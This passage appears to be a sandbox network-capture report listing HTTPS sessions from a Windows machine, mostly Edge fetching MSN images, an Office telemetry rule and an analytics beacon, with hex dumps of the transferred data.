}F[q1;&s1P:0i[\8!r\_%;>40}n,@xA1YFbd[.Aqa^2ll=eN^\|vz,7\|GOsZRrX=I Xy*u41@3:~0/nnNc.[Wydl@Il.8'a/FgC&0F
2024-11-23 18:53:03 UTC	16384	IN	Data Raw: e9 f0 29 43 13 2d 01 ea 6e 56 6a 80 b8 6d 2d 2c 48 ca e5 c3 48 00 46 ae 2b f0 58 c7 c4 c3 32 3b 5e f9 93 e0 05 19 64 e1 dc 03 50 2e 2c c3 89 75 dd 91 f9 c4 ad c5 bd 0f 14 f1 60 2c 03 c9 bd 80 cb 40 87 3c 39 12 77 72 8e 31 fd 11 89 9e ef 9e 20 0f 26 f6 77 28 44 c2 32 fd c6 da 38 f2 73 75 62 03 2c 33 a0 89 1c 7d d6 8e 04 e6 00 02 2f 93 fd be e8 e6 58 d2 60 2a 6f 5b f9 e4 b3 d8 cc 83 22 60 3a ee af 14 ef ba 01 5e c2 50 70 f1 7f 16 4a 98 11 f5 3f 51 44 e4 b0 71 01 b1 ad b5 1f 16 7f 24 0d 92 15 e1 d1 d5 a7 dd 00 08 c8 f1 03 34 c1 68 c8 4a cc 79 6d d6 de 0c 83 70 0b b3 eb d3 c5 62 c6 d9 db f5 0a 86 68 5c 10 6b 17 1e 0f fa a0 01 c8 fd 68 99 76 c5 cd c3 f4 25 ba 5e a1 13 68 90 94 5c 0f 40 be 88 d0 00 76 73 3f 49 fc 22 0c 38 40 73 13 d0 6d 3f 74 dc 25 b4 08 9b 81 Data Ascii: )C-nVjm-,HHF+X2;^dP.,u`,@<9wr1 &w(D28sub,3}/X`*o["`:^PpJ?QDq$4hJympbh\khv%^h\@vs?I"8@sm?t%
2024-11-23 18:53:03 UTC	16384	IN	Data Raw: a5 ba 56 8f 4f 37 c8 d1 26 80 d1 c2 88 b4 6e f7 15 04 0f 00 0e a9 39 c6 11 12 e5 3b b3 b4 88 23 51 4b 2d 1c 43 12 df 37 cc d7 66 8d 9a fd 34 e2 83 89 2a 75 b7 03 eb c5 24 98 03 96 26 f6 11 90 72 f6 da 43 7b b3 b5 97 61 c8 c5 fe 97 8d 40 7a 68 45 2f f6 58 8c 23 29 19 12 7e 6b 31 c9 dc 9f 75 23 11 16 b4 79 75 36 3f 11 a2 b7 82 8a 98 84 8e e6 72 41 b5 fe cd c2 a8 91 ab 00 58 0c dd c1 b9 bb 6b c1 1b e6 0d a3 fe 9e ea f6 cd 80 0e e6 dd 48 a7 f3 9d 0a c6 c7 42 33 94 5c 81 63 20 6e 79 98 5e 80 6a 7f 84 2d 92 91 79 4f 78 6b cb 57 ea f7 f2 44 67 37 04 06 61 4b f5 62 cf 4e 1a a2 34 9e 84 91 d2 f7 d6 cc dc 01 2a ec 90 47 13 21 94 59 c3 65 ec 98 94 62 22 c0 09 48 bd 0d c8 e3 6f 5a 2b 8c 5c ed 91 89 34 bd 87 c5 2d 31 00 48 dd 20 74 b8 01 bc 89 b1 cc 85 25 01 63 cc 34 Data Ascii: VO7&n9;#QK-C7f4u$&rC{a@zhE/X#)~k1u#yu6?rAXkHB3\c ny^j-yOxkWDg7aKbN4G!Yeb"HoZ+\4-1H t%c4
2024-11-23 18:53:03 UTC	7952	IN	Data Raw: 2f e3 d5 6e 5b 31 a1 ba 31 8c 25 1b 19 38 22 6d a4 a3 9f fb 0f 05 c6 11 78 98 c4 66 41 23 c5 e0 ed bb d0 52 31 c4 8f c8 d1 0e ec 24 37 c0 1c 9c 47 dc 85 ce df 39 02 37 0e 33 04 bf 25 ac 58 f3 75 05 93 d1 84 63 17 dc 6c cf bc 82 2f d2 4d 6f 12 95 89 04 13 23 b0 03 f2 b0 b9 6a b8 11 b7 97 9a e8 e2 44 11 22 0c 85 9c 5c 92 0a 4e d8 c9 2b 62 b4 65 86 37 1b 0d a4 c6 e1 ec 1c 18 bf 9d d2 c7 03 03 6b 48 62 89 bd 62 44 41 6c b7 12 1b 37 0e fa ad 62 48 16 3b 25 31 20 c4 1f 88 7b 89 0a 6a 08 c9 2a d1 c4 a9 db b4 30 dc 19 c6 8f c3 42 a7 29 6a c3 51 08 e1 4b 0d c6 d8 92 48 2e ee d1 fd a0 86 ab dc a6 c4 0c 8f fe 32 23 93 b9 1e 6d f1 46 62 cf 19 0b 57 95 be e9 72 71 a6 f1 20 17 2c 24 1d 9b 5b 0b f1 b2 e8 4e c4 51 ee fb 86 a6 3a 35 80 e1 5a 7b a1 60 06 71 72 18 bc a2 d4 Data Ascii: /n[11%8"mxfA#R1$7G973%Xucl/Mo#jD"\N+be7kHbbDAl7bH;%1 {j*0B)jQKH.2#mFbWrq ,$[NQ:5Z{`qr
2024-11-23 18:53:03 UTC	16384	IN	Data Raw: 2b 5a 50 68 4c 8e f7 28 c6 32 13 c7 c3 da db 00 d8 62 5a c4 ed 6b 5c 21 e2 e2 9c 41 2d f3 91 c4 68 ed bf f8 f1 60 fa 01 f2 98 b9 b0 ad ef a2 87 c3 94 ce d8 9b 44 97 6c fc 39 87 56 aa 9f c2 84 37 6e 96 06 0e 24 58 91 b5 c9 88 a5 84 9b 74 5f 5b 91 2b 52 c9 56 c2 b2 c4 b0 e7 83 b5 e7 18 c7 69 b4 4c 7f 70 b9 13 8f 31 62 2c 24 f6 2b bb 52 01 8c 58 87 78 ef f9 e3 10 77 6d 77 04 8b 33 14 49 e0 42 71 9f 66 c0 08 89 18 19 1d d8 44 02 e0 89 01 cb 2f dc 09 00 b6 6a f0 4c f0 a6 31 01 12 9c 23 21 6d 85 ad 46 2e 25 63 5b 37 54 63 fc 12 33 db 62 02 f2 33 94 4c 7e 73 20 48 12 01 8b 81 22 23 4f 98 1f 24 29 e3 99 09 47 11 f1 76 c6 51 12 26 42 da 6d 2e 7a 5c 87 b0 2f 9b 22 51 c4 89 db fe 39 cd 89 db 1f 9c 0f 99 a1 84 c2 40 0b b4 a2 0c 4d de a8 73 c2 18 80 c0 e2 44 c6 32 96 Data Ascii: +ZPhL(2bZk\!A-h`Dl9V7n$Xt_[+RViLp1b,$+RXxwmw3IBqfD/jL1#!mF.%c[7Tc3b3L~s H"#O$)GvQ&Bm.z\/"Q9@MsD2
2024-11-23 18:53:03 UTC	16384	IN	Data Raw: 30 14 cc f8 32 66 3d d5 a7 cd 89 c8 03 93 18 6a f4 35 e2 f7 46 c5 38 78 27 6c 49 9b 88 98 90 1a c5 ea f6 0c 47 c1 46 3b 08 54 00 62 04 5d e8 dc a2 23 37 91 2e 5d 49 61 60 e2 e0 b1 6d d1 24 fc 81 ed c5 ee ca 0e 5d e4 ef 04 44 35 00 05 89 7b 55 aa 53 b3 c4 c4 23 68 dd 17 b1 e7 91 b7 1a 9f 60 aa 90 c9 7d e1 8d 88 ad be a2 de b8 28 3e f1 dd ce 31 38 90 94 71 1e 20 ec be e0 06 80 6b f1 59 ec e3 60 49 a3 5c db af e5 0c 99 e1 42 64 72 9d 24 da be 92 16 7d 52 58 18 b4 40 71 be f2 6b b9 3f fa bd 1d 00 b6 d0 7f 75 e3 1d d7 85 f5 b6 a2 97 ea 9d ff 00 cb 17 94 9d e2 65 20 f7 72 19 cc aa c7 2c ca c8 c2 c4 99 04 b1 24 07 73 66 0d f3 6d 63 f7 57 64 91 6c 5e c0 f0 cb a9 3c 54 9c 5e 40 44 16 61 6d b2 61 6a 93 2b 26 e1 80 c4 48 f3 31 f2 e2 c4 79 22 cf b3 c2 06 66 30 34 b1 Data Ascii: 02f=j5F8x'lIGF;Tb]#7.]Ia`m$]D5{US#h`}(>18q kY`I\Bdr$}RX@qk?ue r,$sfmcWdl^<T^@Damaj+&H1y"f04
2024-11-23 18:53:03 UTC	7952	IN	Data Raw: a2 18 62 46 4f 95 c8 e9 fc 14 9e c7 f9 a5 1f 10 a2 8c c9 cb c1 90 b7 22 89 b1 d9 ed 14 2e 95 dc 2e fe be 28 04 a0 92 98 8b 33 39 00 95 25 10 94 22 a8 47 2a 58 75 6e 98 8b 59 5c ea 9d 00 5b ac 12 b2 4a 1a 40 6f 73 53 55 4e b0 b9 31 1a 59 5c a9 00 69 d5 2a 5c 80 29 52 d3 75 0b 28 11 b8 c8 c4 b8 ad fd c3 23 c7 14 b8 dc 5c 6b f9 4a a3 e1 08 99 87 f0 cc e4 b2 92 4f 80 1f c7 c4 16 88 36 d5 b5 e9 c3 52 96 06 39 f4 58 c6 3c c9 55 8f d3 52 4a ca 25 39 63 d0 35 ff 00 36 48 9c 42 e4 46 52 11 91 72 1d 9f c1 10 ee 94 2b 64 bc 83 5b 24 d2 c8 83 6d 60 48 17 d1 54 22 d8 97 37 89 a0 cc 6b 7b 70 43 e7 85 af 1e 88 bb 44 62 09 17 7f 45 44 95 7b fc 7c 80 cc 9e 52 35 61 76 b9 6c c9 fc a1 cb 13 78 db 4f b9 34 47 03 6c 5f 7b 13 63 1d 64 01 7b 9d 2e 97 89 10 73 5b 8e a5 81 7f 15 Data Ascii: bFO"..(39%"GXunY\[J@osSUN1Y\i\)Ru(#\kJO6R9X<URJ%9c56HBFRr+d[$m`HT"7k{pCDbED{\|R5avlxO4Gl_{cd{.s[
2024-11-23 18:53:03 UTC	16288	IN	Data Raw: d7 df cd 02 36 61 3d 41 42 66 fc 22 0d c4 58 96 e2 ac c4 d4 cb c7 d1 40 c0 2d 5d 52 eb 67 ec 81 1a 7b 32 e6 ea 3e 0a 9f aa b3 7c 87 0f e1 03 32 a9 72 b0 81 14 af d5 97 2a 48 0e 5c b9 5a 40 6a 23 71 02 8e 40 f1 5e 9c 1c 3c 3e 5c 28 eb 79 3e 79 9d 7c e8 bc f6 19 8c 67 12 6e 07 47 f6 d5 94 9c b7 e3 46 05 b6 c1 ed 11 ab 35 e4 d5 d5 71 f5 6d e3 82 d6 0f 41 3d b2 8b 48 42 73 37 68 81 bb 8b 9f 05 05 2c 13 bc 90 00 e0 d6 e8 ff 00 15 d2 c4 8e 18 e5 c3 d8 64 1b 73 b9 1c 05 98 9b d5 d0 63 8d 3d bb 60 00 6c ef 2f 7b 2e 54 ab e3 fb 06 3b 11 2c 39 d8 c4 72 bb 1f 97 89 40 99 c1 85 b6 f6 e6 57 99 32 90 c3 3a d0 33 90 7f 94 94 a3 28 f3 4a 5b 89 34 27 e6 e9 e5 ec 98 0d 2b 02 34 7d 7e 1a f4 57 cb fd 04 1a 58 64 c2 62 38 70 b8 05 a3 0a b5 c1 b9 26 d5 37 4a 9c 37 81 91 21 e3 Data Ascii: 6a=ABf"X@-]Rg{2>\|2r*H\Z@j#q@^<>\(y>y\|gnGF5qmA=HBs7h,dsc=`l/{.T;,9r@W2:3(J[4'+4}~WXdb8p&7J7!

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.6	49925	104.117.182.56	443	7120	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:53:02 UTC	634	OUT	GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 18:53:03 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Tue, 19 Nov 2024 01:11:09 GMT X-Datacenter: westus X-ActivityId: d1332dc8-9c45-4f85-a99f-4fe76a720ba2 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA13Q6AL X-Source-Length: 1658 Content-Length: 1658 Cache-Control: public, max-age=411437 Expires: Thu, 28 Nov 2024 13:10:19 GMT Date: Sat, 23 Nov 2024 18:53:02 GMT Connection: close
2024-11-23 18:53:03 UTC	1658	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 06 2f 49 44 41 54 58 c3 d5 57 7d 6c 14 45 14 7f 33 b3 bb 77 d7 2b a5 e5 a3 48 a9 7c c4 10 82 44 12 25 d8 18 4d 8a 5a 35 11 49 0d d2 26 fc 51 03 c6 04 c3 57 03 25 a0 50 b0 11 21 d4 a4 26 02 51 f0 0b 22 06 12 30 a6 84 18 48 8a 5a 08 22 88 c4 80 80 f6 0f 3e 5a 01 11 90 c2 41 da bb 9d dd 19 df cc ee 6d f7 bc 83 16 89 31 ee e5 dd 9b 9d db 9d df ef fd de bc b7 7b 00 ff f1 41 ee f6 86 8d 0d 17 f3 be ed 3c bf 2d 61 d1 32 37 6a 15 09 d3 e0 c4 20 27 a4 41 b7 44 fb f7 db b4 6b 56 49 d7 bf 42 a0 a1 41 d2 a1 a2 e3 a5 7d 7f b6 6f 3a 2f ec b8 99 df 1f 68 3c 0f 88 45 01 0c 0a 04 4d 32 72 81 30 da 50 50 3c 6a d3 8e Data Ascii: PNGIHDR szzbKGD/IDATXW}lE3w+H\|D%MZ5I&QW%P!&Q"0HZ">ZAm1{A<-a27j 'ADkVIBA}o:/h<EM2r0PP<j

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.6	49929	104.117.182.56	443	7120	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:53:02 UTC	633	OUT	GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 18:53:03 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Mon, 11 Nov 2024 13:51:58 GMT X-Datacenter: northeu X-ActivityId: 03b090a8-ff0d-477a-9433-19affde5f1c7 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAc9vHK X-Source-Length: 1218 Content-Length: 1218 Cache-Control: public, max-age=154929 Expires: Mon, 25 Nov 2024 13:55:11 GMT Date: Sat, 23 Nov 2024 18:53:02 GMT Connection: close
2024-11-23 18:53:03 UTC	1218	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 71 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 35 2d 63 30 31 34 20 37 39 2e 31 35 31 34 38 31 2c 20 32 30 31 33 2f 30 33 2f 31 33 2d 31 32 3a 30 39 3a 31 35 20 20 Data Ascii: PNGIHDR szztEXtSoftwareAdobe ImageReadyqe<qiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.6	49927	104.117.182.56	443	7120	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:53:02 UTC	634	OUT	GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 18:53:03 UTC	516	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1lFz6G Last-Modified: Wed, 20 Nov 2024 00:46:19 GMT X-Source-Length: 5699 X-Datacenter: eastus X-ActivityId: b1a24144-11f9-49dd-8527-fd854663f54d Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 5699 Cache-Control: public, max-age=107614 Expires: Mon, 25 Nov 2024 00:46:36 GMT Date: Sat, 23 Nov 2024 18:53:02 GMT Connection: close
2024-11-23 18:53:03 UTC	5699	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 84 65 58 49 66 4d 4d 00 2a 00 00 00 08 00 05 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 4a 01 1b 00 05 00 00 00 01 00 00 00 52 01 28 00 03 00 00 00 01 00 02 00 00 87 69 00 04 00 00 00 01 00 00 00 5a 00 00 00 00 00 00 00 48 00 00 00 01 00 00 00 48 00 00 00 01 00 03 a0 01 00 03 00 00 00 01 00 01 00 00 a0 02 00 04 00 00 00 01 00 00 00 32 a0 03 00 04 00 00 00 01 00 00 00 32 00 00 00 00 86 f1 c2 a8 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 Data Ascii: PNGIHDR22?gAMAa cHRMz&u0`:pQ<eXIfMM*JR(iZHH22pHYs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.6	49930	104.117.182.56	443	7120	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:53:02 UTC	634	OUT	GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 18:53:03 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Sun, 17 Nov 2024 01:27:48 GMT X-Datacenter: eastus X-ActivityId: 4e8f5161-6e89-49b3-b675-e3ba25e83bf7 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1hk7Sh X-Source-Length: 6962 Content-Length: 6962 Cache-Control: public, max-age=239759 Expires: Tue, 26 Nov 2024 13:29:01 GMT Date: Sat, 23 Nov 2024 18:53:02 GMT Connection: close
2024-11-23 18:53:03 UTC	6962	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 0c 3f 69 43 43 50 49 43 43 20 50 72 6f 66 69 6c 65 00 00 48 89 95 57 07 58 53 c9 16 9e 5b 92 90 90 84 12 40 40 4a e8 4d 10 a9 01 a4 84 d0 42 ef 08 36 42 12 20 94 18 03 41 c5 8e 2e 2a b8 76 b1 80 0d 5d 15 51 b0 02 62 47 ec 2c 8a bd 2f 16 54 94 75 b1 60 57 de a4 80 ae fb ca f7 e6 fb e6 ce 7f ff 39 f3 9f 33 e7 ce dc 7b 07 00 8d e3 3c 89 24 0f d5 04 20 5f 5c 28 8d 0f 0d 64 8e 4a 4d 63 92 9e 02 0c d0 01 15 38 01 4b 1e bf 40 c2 8e 8d 8d 04 b0 0c b4 7f 2f ef ae 03 44 de 5e 71 94 6b fd b3 ff bf 16 2d 81 b0 80 0f 00 12 0b 71 86 a0 80 9f 0f f1 7e 00 f0 2a be 44 5a 08 00 51 ce 5b 4c 2a 94 c8 31 ac 40 47 0a 03 84 78 be 1c 67 29 71 95 1c 67 28 f1 6e 85 4d 62 3c 07 Data Ascii: PNGIHDR22??iCCPICC ProfileHWXS[@@JMB6B A.v]QbG,/Tu`W93{<$ _\(dJMc8K@/D^qk-q~DZQ[L*1@Gxg)qg(nMb<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.6	49928	104.117.182.56	443	7120	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:53:02 UTC	634	OUT	GET /tenant/amp/entityid/AA1u24yb.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 18:53:03 UTC	516	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1u24yb Last-Modified: Fri, 15 Nov 2024 21:15:54 GMT X-Source-Length: 3765 X-Datacenter: westus X-ActivityId: f3e4c9dc-fa16-4ee6-89a5-1e9169e1c90d Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 3765 Cache-Control: public, max-age=138271 Expires: Mon, 25 Nov 2024 09:17:33 GMT Date: Sat, 23 Nov 2024 18:53:02 GMT Connection: close
2024-11-23 18:53:03 UTC	3765	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c1 00 00 0e c1 01 b8 91 6b ed 00 00 01 87 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 27 ef bb bf 27 20 69 64 3d 27 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 27 3f 3e 0d 0a 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 3e 3c 72 64 66 3a 52 44 46 20 78 6d 6c 6e 73 3a 72 64 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 30 32 2f 32 32 2d 72 64 66 2d 73 79 6e 74 61 78 2d 6e 73 23 22 Data Ascii: PNGIHDR22?gAMAapHYskiTXtXML:com.adobe.xmp<?xpacket begin='' id='W5M0MpCehiHzreSzNTczkc9d'?><x:xmpmeta xmlns:x="adobe:ns:meta/"><rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.6	49931	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:53:03 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 18:53:04 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 18:53:03 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: 008b0be1-f01e-001f-587c-3b5dc8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T185303Z-174c587ffdftjz9shC1TEBsh98000000034000000000k96s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 18:53:04 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.6	49932	18.155.1.8	443	7120	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 18:53:04 UTC	1012	OUT	GET /b2?rn=1732387979692&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=18FD64FFA0C2612823B171BFA1EB6042&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: 